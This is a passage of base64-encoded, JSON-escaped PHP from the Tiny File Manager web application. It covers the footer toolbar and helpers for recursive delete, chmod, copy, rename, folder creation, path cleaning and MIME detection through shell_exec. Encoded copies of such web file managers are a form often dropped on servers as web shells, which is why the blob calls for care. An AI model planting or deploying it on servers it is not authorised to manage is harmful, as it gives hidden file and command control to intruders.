0lOICYmICEkaGlkZV9Db2xzKSA/IChGTV9SRUFET05MWSA/ICc2JyA6ICc3JykgOiAoRk1fUkVBRE9OTFkgPyAnNCcgOiAnNScpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0Z1bGxTaXplJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuIGZtX2dldF9maWxlc2l6ZSgkYWxsX2ZpbGVzX3NpemUpIC4gJzxcL3NwYW4+JyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGaWxlJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuICRudW1fZmlsZXMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpIC4gJzogPHNwYW4gY2xhc3M9XCJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMFwiPicgLiAkbnVtX2ZvbGRlcnMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocCB9ID8+XG4gICAgICAgIDxcL3RhYmxlPlxuICAgIDxcL2Rpdj5cblxuICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS05XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBmbGV4LXdyYXBcIiBkYXRhLXRvZ2dsZT1cImJ1dHRvbnNcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiI1wvc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInNlbGVjdF9hbGwoKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnU2VsZWN0QWxsJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIiNcL3Vuc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInVuc2VsZWN0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXdpbmRvdy1jbG9zZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVblNlbGVjdEFsbCcpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCIjXC9pbnZlcnQtYWxsXCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIiBvbmNsaWNrPVwiaW52ZXJ0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXRoLWxpc3RcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSW52ZXJ0U2VsZWN0aW9uJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJkZWxldGVcIiBpZD1cImEtZGVsZXRlXCIgdmFsdWU9XCJEZWxldGVcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/Jyk7ID8+JylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTtcIiBjbGFzcz1cImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMlwiPjxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJ6aXBcIiBpZD1cImEtemlwXCIgdmFsdWU9XCJ6aXBcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdDcmVhdGUgYXJjaGl2ZT8nKTsgPz4nKVwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS16aXAnKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlLWFyY2hpdmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdaaXAnKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiaGlkZGVuXCIgbmFtZT1cInRhclwiIGlkPVwiYS10YXJcIiB2YWx1ZT1cInRhclwiIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLXRhcicpLmNsaWNrKCk7XCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIj48aSBjbGFzcz1cImZhIGZhLWZpbGUtYXJjaGl2ZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1RhcicpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJoaWRkZW5cIiBuYW1lPVwiY29weVwiIGlkPVwiYS1jb3B5XCIgdmFsdWU9XCJDb3B5XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLWNvcHknKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NvcHknKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMyBkLW5vbmUgZC1zbS1ibG9ja1wiPjxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wiIHRhcmdldD1cIl9ibGFua1wiIGNsYXNzPVwiZmxvYXQtcmlnaHQgdGV4dC1tdXRlZFwiPlRpbnkgRmlsZSBNYW5hZ2VyIDw/cGhwIGVjaG8gVkVSU0lPTjsgPz48XC9hPjxcL2Rpdj5cbiAgICAgICAgPD9waHAgZWxzZTogPz5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj48YSBocmVmPVwiaHR0cHM6XC9cL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW9cIiB0YXJnZXQ9XCJfYmxhbmtcIiBjbGFzcz1cImZsb2F0LXJpZ2h0IHRleHQtbXV0ZWRcIj5UaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9kaXY+XG4gICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgIDxcL2Rpdj5cbjxcL2Zvcm0+XG5cbjw/cGhwXG5mbV9zaG93X2Zvb3RlcigpO1xuXG5cL1wvIC0tLSBFTkQgSFRNTCAtLS1cblxuXC9cLyBGdW5jdGlvbnNcblxuXC8qKlxuICogSXQgcHJpbnRzIHRoZSBjc3NcL2pzIGZpbGVzIGludG8gaHRtbFxuICogQHBhcmFtIGtleSBUaGUga2V5IG9mIHRoZSBleHRlcm5hbCBmaWxlIHRvIHByaW50LlxuICpcL1xuZnVuY3Rpb24gcHJpbnRfZXh0ZXJuYWwoJGtleSlcbntcbiAgICBnbG9iYWwgJGV4dGVybmFsO1xuXG4gICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRrZXksICRleHRlcm5hbCkpIHtcbiAgICAgICAgZWNobyBcIjwhLS0gRVhURVJOQUw6IE1JU1NJTkcgS0VZICRrZXkgLS0+XCI7XG4gICAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBlY2hvIFwiJGV4dGVybmFsWyRrZXldXCI7XG59XG5cblwvKipcbiAqIFZlcmlmeSBDU1JGIFRPS0VOIGFuZCByZW1vdmUgYWZ0ZXIgY2VydGlmaWVkXG4gKiBAcGFyYW0gc3RyaW5nICR0b2tlblxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiB2ZXJpZnlUb2tlbigkdG9rZW4pXG57XG4gICAgaWYgKGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsndG9rZW4nXSwgJHRva2VuKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBEZWxldGUgIGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSlcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1fcmRlbGV0ZSgkcGF0aClcbntcbiAgICBpZiAoaXNfbGluaygkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIHVubGluaygkcGF0aCk7XG4gICAgfSBlbHNlaWYgKGlzX2RpcigkcGF0aCkpIHtcbiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTtcbiAgICAgICAgJG9rID0gdHJ1ZTtcbiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkge1xuICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICgkb2spID8gcm1kaXIoJHBhdGgpIDogZmFsc2U7XG4gICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpKSB7XG4gICAgICAgIHJldHVybiB1bmxpbmsoJHBhdGgpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIFJlY3Vyc2l2ZSBjaG1vZFxuICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICogQHBhcmFtIGludCAkZmlsZW1vZGVcbiAqIEBwYXJhbSBpbnQgJGRpcm1vZGVcbiAqIEByZXR1cm4gYm9vbFxuICogQHRvZG8gV2lsbCB1c2UgaW4gbWFzcyBjaG1vZFxuICpcL1xuZnVuY3Rpb24gZm1fcmNobW9kKCRwYXRoLCAkZmlsZW1vZGUsICRkaXJtb2RlKVxue1xuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghY2htb2QoJHBhdGgsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNobW9kKCRwYXRoIC4gJ1wvJyAuICRmaWxlLCAkZmlsZW1vZGUsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH0gZWxzZWlmIChpc19saW5rKCRwYXRoKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGNobW9kKCRwYXRoLCAkZmlsZW1vZGUpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIENoZWNrIHRoZSBmaWxlIGV4dGVuc2lvbiB3aGljaCBpcyBhbGxvd2VkIG9yIG5vdFxuICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWVcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1faXNfdmFsaWRfZXh0KCRmaWxlbmFtZSlcbntcbiAgICAkYWxsb3dlZCA9IChGTV9GSUxFX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fRklMRV9FWFRFTlNJT04pIDogZmFsc2U7XG5cbiAgICAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pO1xuICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7XG5cbiAgICByZXR1cm4gKCRpc0ZpbGVBbGxvd2VkKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2FmZWx5IHJlbmFtZVxuICogQHBhcmFtIHN0cmluZyAkb2xkXG4gKiBAcGFyYW0gc3RyaW5nICRuZXdcbiAqIEByZXR1cm4gYm9vbHxudWxsXG4gKlwvXG5mdW5jdGlvbiBmbV9yZW5hbWUoJG9sZCwgJG5ldylcbntcbiAgICAkaXNGaWxlQWxsb3dlZCA9IGZtX2lzX3ZhbGlkX2V4dCgkbmV3KTtcblxuICAgIGlmICghaXNfZGlyKCRvbGQpKSB7XG4gICAgICAgIGlmICghJGlzRmlsZUFsbG93ZWQpIHJldHVybiBmYWxzZTtcbiAgICB9XG5cbiAgICByZXR1cm4gKCFmaWxlX2V4aXN0cygkbmV3KSAmJiBmaWxlX2V4aXN0cygkb2xkKSkgPyByZW5hbWUoJG9sZCwgJG5ldykgOiBudWxsO1xufVxuXG5cLyoqXG4gKiBDb3B5IGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkuXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcGFyYW0gc3RyaW5nICRkZXN0XG4gKiBAcGFyYW0gYm9vbCAkdXBkIFVwZGF0ZSBmaWxlc1xuICogQHBhcmFtIGJvb2wgJGZvcmNlIENyZWF0ZSBmb2xkZXIgd2l0aCBzYW1lIG5hbWVzIGluc3RlYWQgZmlsZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9yY29weSgkcGF0aCwgJGRlc3QsICR1cGQgPSB0cnVlLCAkZm9yY2UgPSB0cnVlKVxue1xuICAgIGlmICghaXNfZGlyKCRwYXRoKSAmJiAhaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghZm1fbWtkaXIoJGRlc3QsICRmb3JjZSkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuXG4gICAgICAgICRvYmplY3RzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRwYXRoKSwgWycuJywgJy4uJ10pO1xuXG4gICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KFwiJHBhdGhcLyRmaWxlXCIsIFwiJGRlc3RcLyRmaWxlXCIsICR1cGQsICRmb3JjZSkpIHtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG5cbiAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpO1xufVxuXG5cblwvKipcbiAqIFNhZmVseSBjcmVhdGUgZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRkaXJcbiAqIEBwYXJhbSBib29sICRmb3JjZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9ta2RpcigkZGlyLCAkZm9yY2UpXG57XG4gICAgaWYgKGZpbGVfZXhpc3RzKCRkaXIpKSB7XG4gICAgICAgIGlmIChpc19kaXIoJGRpcikpIHtcbiAgICAgICAgICAgIHJldHVybiAkZGlyO1xuICAgICAgICB9IGVsc2VpZiAoISRmb3JjZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIHVubGluaygkZGlyKTtcbiAgICB9XG4gICAgcmV0dXJuIG1rZGlyKCRkaXIsIDA3NzcsIHRydWUpO1xufVxuXG5cLyoqXG4gKiBTYWZlbHkgY29weSBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRmMVxuICogQHBhcmFtIHN0cmluZyAkZjJcbiAqIEBwYXJhbSBib29sICR1cGQgSW5kaWNhdGVzIGlmIGZpbGUgc2hvdWxkIGJlIHVwZGF0ZWQgd2l0aCBuZXcgY29udGVudFxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9jb3B5KCRmMSwgJGYyLCAkdXBkKVxue1xuICAgICR0aW1lMSA9IGZpbGVtdGltZSgkZjEpO1xuICAgIGlmIChmaWxlX2V4aXN0cygkZjIpKSB7XG4gICAgICAgICR0aW1lMiA9IGZpbGVtdGltZSgkZjIpO1xuICAgICAgICBpZiAoJHRpbWUyID49ICR0aW1lMSAmJiAkdXBkKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJG9rID0gY29weSgkZjEsICRmMik7XG4gICAgaWYgKCRvaykge1xuICAgICAgICB0b3VjaCgkZjIsICR0aW1lMSk7XG4gICAgfVxuICAgIHJldHVybiAkb2s7XG59XG5cblwvKipcbiAqIEdldCBtaW1lIHR5cGVcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVfcGF0aFxuICogQHJldHVybiBtaXhlZHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aClcbntcbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpIHtcbiAgICAgICAgJGZpbmZvID0gZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpO1xuICAgICAgICAkbWltZSA9IGZpbmZvX2ZpbGUoJGZpbmZvLCAkZmlsZV9wYXRoKTtcbiAgICAgICAgZmluZm9fY2xvc2UoJGZpbmZvKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ21pbWVfY29udGVudF90eXBlJykpIHtcbiAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCRmaWxlX3BhdGgpO1xuICAgIH0gZWxzZWlmICghc3RyaXN0cihpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAnc2hlbGxfZXhlYycpKSB7XG4gICAgICAgICRmaWxlID0gZXNjYXBlc2hlbGxhcmcoJGZpbGVfcGF0aCk7XG4gICAgICAgICRtaW1lID0gc2hlbGxfZXhlYygnZmlsZSAtYmkgJyAuICRmaWxlKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIHJldHVybiAnLS0nO1xuICAgIH1cbn1cblxuXC8qKlxuICogSFRUUCBSZWRpcmVjdFxuICogQHBhcmFtIHN0cmluZyAkdXJsXG4gKiBAcGFyYW0gaW50ICRjb2RlXG4gKlwvXG5mdW5jdGlvbiBmbV9yZWRpcmVjdCgkdXJsLCAkY29kZSA9IDMwMilcbntcbiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHVybCwgdHJ1ZSwgJGNvZGUpO1xuICAgIGV4aXQ7XG59XG5cblwvKipcbiAqIFBhdGggdHJhdmVyc2FsIHByZXZlbnRpb24gYW5kIGNsZWFuIHRoZSB1cmxcbiAqIEl0IHJlcGxhY2VzIChjb25zZWN1dGl2ZSkgb2NjdXJyZW5jZXMgb2YgXC8gYW5kIFxcXFwgd2l0aCB3aGF0ZXZlciBpcyBpbiBESVJFQ1RPUllfU0VQQVJBVE9SLCBhbmQgcHJvY2Vzc2VzIFwvLiBhbmQgXC8uLiBmaW5lLlxuICogQHBhcmFtICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpXG57XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnXC8nLCAnXFxcXCcpLCBESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7XG4gICAgJHBhcnRzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpLCAnc3RybGVuJyk7XG4gICAgJGFic29sdXRlcyA9IGFycmF5KCk7XG4gICAgZm9yZWFjaCAoJHBhcnRzIGFzICRwYXJ0KSB7XG4gICAgICAgIGlmICgnLicgPT0gJHBhcnQpIGNvbnRpbnVlO1xuICAgICAgICBpZiAoJy4uJyA9PSAkcGFydCkge1xuICAgICAgICAgICAgYXJyYXlfcG9wKCRhYnNvbHV0ZXMpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGFic29sdXRlc1tdID0gJHBhcnQ7XG4gICAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJGFic29sdXRlcyk7XG59XG5cblwvKipcbiAqIENsZWFuIHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9jbGVhbl9wYXRoKCRwYXRoLCAkdHJpbSA9IHRydWUpXG57XG4gICAgJHBhdGggPSAkdHJpbSA/IHRyaW0oJHBhdGgpIDogJHBhdGg7XG4gICAgJHBhdGggPSB0cmltKCRwYXRoLCAnXFxcXFwvJyk7XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLi5cLycsICcuLlxcXFwnKSwgJycsICRwYXRoKTtcbiAgICAkcGF0aCA9ICBnZXRfYWJzb2x1dGVfcGF0aCgkcGF0aCk7XG4gICAgaWYgKCRwYXRoID09ICcuLicpIHtcbiAgICAgICAgJHBhdGggPSAnJztcbiAgICB9XG4gICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXFxcJywgJ1wvJywgJHBhdGgpO1xufVxuXG5cLyoqXG4gKiBHZXQgcGFyZW50IHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aClcbntcbiAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgIGlmICgkcGF0aCAhPSAnJykge1xuICAgICAgICAkYXJyYXkgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgaWYgKGNvdW50KCRhcnJheSkgPiAxKSB7XG4gICAgICAgICAgICAkYXJyYXkgPSBhcnJheV9zbGljZSgkYXJyYXksIDAsIC0xKTtcbiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCdcLycsICRhcnJheSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cbmZ1bmN0aW9uIGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aClcbntcbiAgICBnbG9iYWwgJHBhdGhfZGlzcGxheV9tb2RlLCAkcm9vdF9wYXRoLCAkcm9vdF91cmw7XG4gICAgc3dpdGNoICgkcGF0aF9kaXNwbGF5X21vZGUpIHtcbiAgICAgICAgY2FzZSAncmVsYXRpdmUnOlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ1BhdGgnLFxuICAgICAgICAgICAgICAgICdwYXRoJyA9PiBmbV9lbmMoZm1fY29udmVydF93aW4oc3RyX3JlcGxhY2UoJHJvb3RfcGF0aCwgJycsICRmaWxlX3BhdGgpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2hvc3QnOlxuICAgICAgICAgICAgJHJlbGF0aXZlX3BhdGggPSBzdHJfcmVwbGFjZSgkcm9vdF9wYXRoLCAnJywgJGZpbGVfcGF0aCk7XG4gICAgICAgICAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnSG9zdCBQYXRoJyxcbiAgICAgICAgICAgICAgICAncGF0aCcgPT4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCdcLycgLiAkcm9vdF91cmwgLiAnXC8nIC4gbHRyaW0oc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcmVsYXRpdmVfcGF0aCksICdcLycpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2Z1bGwnOlxuICAgICAgICBkZWZhdWx0OlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ0Z1bGwgUGF0aCcsXG4gICAgICAgICAgICAgICAgJ3BhdGgnID0+IGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZV9wYXRoKSlcbiAgICAgICAgICAgICk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBDaGVjayBmaWxlIGlzIGluIGV4Y2x1ZGUgbGlzdFxuICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgbmFtZSBvZiB0aGUgZmlsZVwvZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggb2YgdGhlIGZpbGVcL2ZvbGRlclxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9pc19leGNsdWRlX2l0ZW1zKCRuYW1lLCAkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7XG4gICAgaWYgKGlzc2V0KCRleGNsdWRlX2l0ZW1zKSBhbmQgc2l6ZW9mKCRleGNsdWRlX2l0ZW1zKSkge1xuICAgICAgICB1bnNldCgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuXG4gICAgJGV4Y2x1ZGVfaXRlbXMgPSBGTV9FWENMVURFX0lURU1TO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykpIHtcbiAgICAgICAgJGV4Y2x1ZGVfaXRlbXMgPSB1bnNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuICAgIGlmICghaW5fYXJyYXkoJG5hbWUsICRleGNsdWRlX2l0ZW1zKSAmJiAhaW5fYXJyYXkoXCIqLiRleHRcIiwgJGV4Y2x1ZGVfaXRlbXMpICYmICFpbl9hcnJheSgkcGF0aCwgJGV4Y2x1ZGVfaXRlbXMpKSB7XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIGdldCBsYW5ndWFnZSB0cmFuc2xhdGlvbnMgZnJvbSBqc29uIGZpbGVcbiAqIEBwYXJhbSBpbnQgJHRyXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5